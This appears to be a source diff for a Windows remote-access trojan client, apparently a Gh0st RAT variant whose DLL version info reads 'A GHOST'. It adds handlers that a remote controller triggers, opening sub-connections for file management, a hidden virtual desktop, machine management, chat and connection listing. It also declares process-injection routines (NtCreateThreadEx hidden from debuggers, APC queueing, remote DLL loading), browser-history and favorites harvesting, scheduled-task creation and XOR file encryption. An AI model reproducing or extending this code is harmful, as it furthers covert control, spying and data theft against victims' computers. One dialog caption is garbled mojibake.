m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_MACHINE_MANAGE: { // 主机管理
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
@@ -1277,6 +1331,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case CMD_FILE_SPEED: {
|
||||
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
|
||||
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
|
||||
if (ulLength >= 5) {
|
||||
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
|
||||
int durMs = szBuffer[3] | (szBuffer[4] << 8);
|
||||
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
|
||||
m_cfg->SetInt("transfer", "DurationMs", durMs);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE : {
|
||||
if (!ENABLE_FILE_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||
@@ -1344,6 +1410,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_CONNECTION: {
|
||||
if (!ENABLE_CONNECTION_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE: {
|
||||
auto typ = m_conn->ClientType();
|
||||
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
||||
@@ -1396,7 +1475,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
|
||||
static bool s_v2RecvInited = false;
|
||||
if (!s_v2RecvInited) {
|
||||
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(*m_cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
|
||||
s_v2RecvInited = true;
|
||||
}
|
||||
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,204 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <Iphlpapi.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <map>
|
||||
#include <WINSOCK2.H>
|
||||
#include "yapi.hpp"
|
||||
|
||||
#pragma comment(lib, "Iphlpapi.lib")
|
||||
#pragma comment(lib, "WS2_32.lib")
|
||||
|
||||
#include <taskschd.h>
|
||||
#include <comutil.h>
|
||||
#pragma comment(lib, "taskschd.lib")
|
||||
#pragma comment(lib, "comsupp.lib")
|
||||
|
||||
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
|
||||
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
|
||||
|
||||
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
|
||||
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
|
||||
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
|
||||
|
||||
class CMachineManager : public CManager
|
||||
{
|
||||
public:
|
||||
BOOL m_bUse;
|
||||
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CMachineManager();
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
private:
|
||||
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
|
||||
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
|
||||
HWND GetHwndByPid(DWORD dwProcessID);
|
||||
bool Is64BitOS();
|
||||
bool Is64BitPorcess(DWORD dwProcessID);
|
||||
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
|
||||
wchar_t* char2wchar_t(char* cstr);
|
||||
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
|
||||
void DeleteService(LPBYTE lpBuffer, UINT nSize);
|
||||
void MyControlService(LPBYTE lpBuffer, UINT nType);
|
||||
|
||||
void SendProcessList();
|
||||
LPBYTE getProcessList(); //进程
|
||||
|
||||
void SendWindowsList();
|
||||
LPBYTE getWindowsList(); //窗口
|
||||
|
||||
void SendNetStateList();
|
||||
LPBYTE getNetStateList();
|
||||
|
||||
void SendSoftWareList();
|
||||
LPBYTE getSoftWareList(); //软件列表
|
||||
|
||||
void SendIEHistoryList();
|
||||
LPBYTE getIEHistoryList(); // 浏览记录
|
||||
|
||||
void SendFavoritesUrlList();
|
||||
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
|
||||
LPBYTE getFavoritesUrlList(); //收藏夹
|
||||
|
||||
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
|
||||
LPBYTE getServiceList(DWORD dwScType);
|
||||
|
||||
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
|
||||
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
|
||||
PBYTE GetRoot(); //获取根目录下的子文件夹
|
||||
|
||||
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
|
||||
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
|
||||
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
|
||||
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
|
||||
void SaveData(const std::string& taskname, const std::string& path,
|
||||
const std::string& exepath, const std::string& status,
|
||||
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
|
||||
DWORD m_dwServiceType;
|
||||
|
||||
void SendHostsList();
|
||||
|
||||
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
|
||||
|
||||
void SendError(const char* Terror);
|
||||
};
|
||||
|
||||
struct Browsinghistory {
|
||||
char strTime[100];
|
||||
char strTitle[1024];
|
||||
char strUrl[1024];
|
||||
};
|
||||
|
||||
|
||||
typedef struct {
|
||||
DWORD dwState; // 连接状态
|
||||
DWORD dwLocalAddr; // 本地地址
|
||||
DWORD dwLocalPort; // 本地端口
|
||||
DWORD dwRemoteAddr; // 远程地址
|
||||
DWORD dwRemotePort; // 远程端口
|
||||
DWORD dwProcessId; // 进程ID号
|
||||
} MIB_TCPEXROW, * PMIB_TCPEXROW;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_TCPEXROW table[ANY_SIZE];
|
||||
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwLocalAddr; // 本地地址
|
||||
DWORD dwLocalPort; // 本地端口
|
||||
DWORD dwProcessId; // 进程ID号
|
||||
} MIB_UDPEXROW, * PMIB_UDPEXROW;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_UDPEXROW table[ANY_SIZE];
|
||||
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwState; //连接状态
|
||||
DWORD dwLocalAddr; //本地地址
|
||||
DWORD dwLocalPort; //本地端口
|
||||
DWORD dwRemoteAddr; //远程地址
|
||||
DWORD dwRemotePort; //远程端口
|
||||
DWORD dwProcessId; //进程标识
|
||||
DWORD Unknown; //待定标识
|
||||
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_TCPEXROW_VISTA table[ANY_SIZE];
|
||||
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
|
||||
|
||||
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
|
||||
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
|
||||
HANDLE heap,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
|
||||
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
|
||||
PMIB_UDPEXTABLE* pUdpTable,
|
||||
HANDLE heap,
|
||||
DWORD flags
|
||||
);
|
||||
// 扩展函数原型
|
||||
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
|
||||
PMIB_TCPEXTABLE* pTcpTable,
|
||||
BOOL bOrder,
|
||||
HANDLE heap,
|
||||
DWORD zero,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
|
||||
PMIB_UDPEXTABLE* pUdpTable,
|
||||
BOOL bOrder,
|
||||
HANDLE heap,
|
||||
DWORD zero,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
typedef _CLIENT_ID* PCLIENT_ID;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
|
||||
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
|
||||
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
|
||||
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
|
||||
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
|
||||
(
|
||||
OUT PHANDLE hThread,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN PVOID ObjectAttributes,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID lpStartAddress,
|
||||
IN PVOID lpParameter,
|
||||
IN ULONG Flags,
|
||||
IN SIZE_T StackZeroBits,
|
||||
IN SIZE_T SizeOfStackCommit,
|
||||
IN SIZE_T SizeOfStackReserve,
|
||||
OUT PVOID lpBytesBuffer);
|
||||
|
||||
typedef struct _THREAD_DATA
|
||||
{
|
||||
pRtlInitUnicodeString fnRtlInitUnicodeString;
|
||||
pLdrLoadDll fnLdrLoadDll;
|
||||
UNICODE_STRING UnicodeString;
|
||||
WCHAR DllName[260];
|
||||
PWCHAR DllPath;
|
||||
ULONG Flags;
|
||||
HANDLE ModuleHandle;
|
||||
}THREAD_DATA, * PTHREAD_DATA;
|
||||
|
||||
struct InjectData {
|
||||
DWORD ExeIsx86;
|
||||
DWORD mode; //注入模式
|
||||
DWORD dwProcessID;//进程ID
|
||||
DWORD datasize; //本地数据尺寸
|
||||
char strpath[1024]; //远程落地目录
|
||||
};
|
||||
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
||||
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
||||
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
||||
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
||||
if (!m_Signature.empty()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
|
||||
}
|
||||
#endif
|
||||
m_isGDI = TRUE;
|
||||
m_virtual = FALSE;
|
||||
@@ -870,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (m_Signature.empty()) {
|
||||
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
|
||||
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||
}
|
||||
break;
|
||||
|
||||
+18
-3
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "消息提示"
|
||||
CAPTION "ÏûÏ¢Ìáʾ"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
END
|
||||
|
||||
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "Chat"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
|
||||
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
|
||||
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
|
||||
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
@@ -44,6 +55,10 @@ BEGIN
|
||||
IDD_DIALOG, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
|
||||
IDD_CHAT, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
END
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,9
|
||||
FILEVERSION 1,0,4,0
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +121,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.9"
|
||||
VALUE "FileVersion", "1.0.4.0"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
Binary file not shown.
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,152 @@
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
#include "Manager.h"
|
||||
#include <sstream>
|
||||
#include "zip.h"
|
||||
|
||||
#pragma once
|
||||
#include <winioctl.h>
|
||||
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
|
||||
#include "MasterEncoder.h"
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
typedef struct {
|
||||
UINT nFileSize; // 文件大小
|
||||
UINT nSendSize; // 已发送大小
|
||||
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
BOOL error;
|
||||
} FILESIZE;
|
||||
|
||||
|
||||
typedef struct {
|
||||
TCHAR SearchFileName[MAX_PATH];
|
||||
TCHAR SearchPath[MAX_PATH];
|
||||
BOOL bEnabledSubfolder;
|
||||
} FILESEARCH;
|
||||
|
||||
|
||||
typedef struct {
|
||||
BYTE Token;
|
||||
int w,h,size;
|
||||
} FILEPICINFO;
|
||||
|
||||
|
||||
struct SEARCH {
|
||||
TCHAR TC_disk[8];
|
||||
TCHAR TC_search[MAX_PATH];
|
||||
};
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _FILE_NAME_INFORMATION {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[MAX_PATH];
|
||||
} FILE_NAME_INFORMATION;
|
||||
|
||||
typedef LONG(__stdcall* ZwQueryInformationFile) (
|
||||
IN HANDLE FileHandle,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
OUT PVOID FileInformation,
|
||||
IN ULONG FileInformationLength,
|
||||
IN ULONG FileInformationClass
|
||||
);
|
||||
|
||||
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
MasterEncoder m_encoder;
|
||||
DWORD dwRet;
|
||||
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(ISocketBase* pClient, int n, void* user);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
LPBYTE lpSendPacket;
|
||||
std::list <std::string> m_UploadList;
|
||||
BOOL m_bIsWow64;
|
||||
UINT m_nTransferMode;
|
||||
HANDLE m_hFileSend;
|
||||
HANDLE m_hFileRecv;
|
||||
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
bool benofrce;
|
||||
TCHAR* copyfile;
|
||||
HANDLE ImpersonateLoggedOnUserWrapper();
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer(BOOL bIsUpload);
|
||||
UINT SendFilesList(TCHAR* lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
void SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
void ExeCompress(BYTE* lpBuffer);
|
||||
void SendSearchData(LPBYTE lpBuffer);
|
||||
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
|
||||
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
|
||||
|
||||
protected:
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL bIsStopSearch;
|
||||
FILESEARCH filesearch;
|
||||
|
||||
void StopSearchTheard();
|
||||
void SendSearchFilesList(LPCTSTR str);
|
||||
static void WINAPI FindFileThread(LPVOID lparam);
|
||||
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
|
||||
TCHAR g_desktopName[MAX_PATH];
|
||||
ULONG PseudoRand(ULONG* seed);
|
||||
void GetBotId(TCHAR* botId);
|
||||
HDESK g_hDesk;;
|
||||
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
|
||||
void SendNetHood(); //发送共享文件目录
|
||||
void encfile(char* in_filename);
|
||||
void decryptfile(char* in_filename);
|
||||
bool FnDelPathFile(TCHAR* tc_path);
|
||||
|
||||
TCHAR* zippath_t;
|
||||
HANDLE m_hWorkZIPThread;
|
||||
BOOL bIsStopZIP;
|
||||
void StopZIPTheard();
|
||||
void StartZIP();
|
||||
static void WINAPI FindZIPThread(LPVOID lparam);
|
||||
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
|
||||
|
||||
//info
|
||||
void SendFileInfo(TCHAR* filepath,TCHAR * type);
|
||||
bool ResizePicture(TCHAR* strSource);
|
||||
|
||||
TCHAR* volName; // 驱动盘名称
|
||||
TCHAR* tc_search; // 搜索关键词
|
||||
HANDLE hVol; // 用于储存驱动盘句柄
|
||||
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
|
||||
long counter;
|
||||
LPBYTE lpBuffer;
|
||||
char* c_pathname;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
#include "StdAfx.h"
|
||||
#include "MasterEncoder.h"
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
MasterEncoder::MasterEncoder()
|
||||
{
|
||||
_codeKey = 100;
|
||||
_sign = nullptr;
|
||||
_signLen = 0;
|
||||
}
|
||||
|
||||
MasterEncoder::~MasterEncoder()
|
||||
{
|
||||
SAFE_DELETE_AR(_sign);
|
||||
}
|
||||
|
||||
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
|
||||
{
|
||||
if (sign && signLen) {
|
||||
_signLen = signLen;
|
||||
SAFE_DELETE_AR(_sign);
|
||||
_sign = new char[signLen];
|
||||
if (_sign) {
|
||||
memcpy(_sign, sign, signLen);
|
||||
} else {
|
||||
Mprintf("setSignAndKey Failed!\n");
|
||||
}
|
||||
}
|
||||
_codeKey = key;
|
||||
}
|
||||
|
||||
void MasterEncoder::encode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
void MasterEncoder::decode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
|
||||
{
|
||||
std::ifstream ifs;
|
||||
ifs.open(filepath, std::ios::in | std::ios::binary);
|
||||
|
||||
if (!ifs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filepath.c_str());
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
ifs.seekg(0, std::ios_base::end);
|
||||
size =(long) ifs.tellg();
|
||||
ifs.seekg(0, std::ios_base::beg);
|
||||
unsigned char* data = new unsigned char[size];
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ifs.read((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
|
||||
Mprintf("read PDF size = %d\n", size);
|
||||
|
||||
ifs.close();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
|
||||
{
|
||||
std::ofstream ofs;
|
||||
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
|
||||
|
||||
if (!ofs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filePath.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ofs.write((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
Mprintf("save PDF size = %d\n", size);
|
||||
ofs.close();
|
||||
}
|
||||
|
||||
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
//判断是否已经加密过
|
||||
if (memcmp(data, _sign, _signLen) == 0) {
|
||||
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
|
||||
writePDF(savePath, data, size);
|
||||
} else {
|
||||
encode(data, size);
|
||||
|
||||
if (_signLen > 0) {
|
||||
unsigned char* p = new unsigned char[size + _signLen];
|
||||
memcpy(p, _sign, _signLen);
|
||||
memcpy(p + _signLen, data, size);
|
||||
|
||||
writePDF(savePath, p, size + _signLen);
|
||||
|
||||
delete[] p;
|
||||
} else {
|
||||
writePDF(savePath, data, size);
|
||||
}
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
writePDF(savePath, data, size);
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
unsigned char* p = (data + _signLen);
|
||||
decode(p, size - _signLen);
|
||||
writePDF(savePath, p, size - _signLen);
|
||||
} else {
|
||||
Mprintf("解密失败: %s\n", pdfPath.c_str());
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
